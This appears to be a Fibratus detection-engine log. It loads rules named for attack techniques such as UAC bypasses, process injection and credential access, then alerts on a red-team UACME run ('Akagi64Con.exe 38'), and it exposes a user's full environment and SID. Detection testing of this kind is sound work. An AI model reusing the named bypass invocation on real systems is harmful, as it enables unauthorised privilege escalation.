C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:19:41+01:00 level=info msg=bootstrapping with pid 13932. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:19:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true port=>25 to=>[] content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ buffer-size=>512 enable-registry=>true enable-vamap=>true min-buffers=>16 flush-interval=>1s enable-audit-api=>true stack-enrichment=>true enable-threadpool=>false enable-handle=>false enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-thread=>true enable-image=>true max-buffers=>36 enable-fileio=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text log-stdout=>true max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ elasticsearch=>[ index-name=>fibratus template-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck-interval=>10s sniff=>false timeout=>5s gzip-compression=>false trace-log=>false enabled=>false flush-period=>1s healthcheck-timeout=>5s healthcheck=>true] amqp=>[ url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic passive=>false timeout=>5s delivery-mode=>transient routing-key=>fibratus enabled=>false exchange=>fibratus durable=>false] http=>[ endpoints=>[] timeout=>5s method=>POST serializer=>json enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false enabled=>false skip-mmaps=>false excluded-files=>[] excluded-procs=>[] skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:19:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:19:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:19:54+01:00 level=info msg=sending alert: [UAC bypass via rouge MMC snap-in]. Text: Event(s): + Seq: 8602299 + Pid: 15088 + Tid: 3484 + Type: CreateFile + CPU: 4 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:19:46.8470115 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffff978f74a0b160, file_path➜ C:\Users\nedo\AppData\Local\Temp\osk.exe, irp➜ ffff978f6e4f40f8, share_mask➜ , status➜ Success, tid➜ 3484, type➜ File + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via rouge MMC snap-in + + Pid: 15088 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 38 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 38] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:19:54+01:00 level=info msg=sending alert: [UAC bypass via rouge MMC snap-in]. Text: Event(s): + Seq: 8602301 + Pid: 15088 + Tid: 3484 + Type: CreateFile + CPU: 4 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:19:46.8483557 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffff978f74a13c70, file_path➜ C:\Users\nedo\AppData\Local\Temp\readme.html, irp➜ ffff978f6e4f40f8, share_mask➜ , status➜ Success, tid➜ 3484, type➜ File + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, rule.name: UAC bypass via rouge MMC snap-in + + Pid: 15088 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: 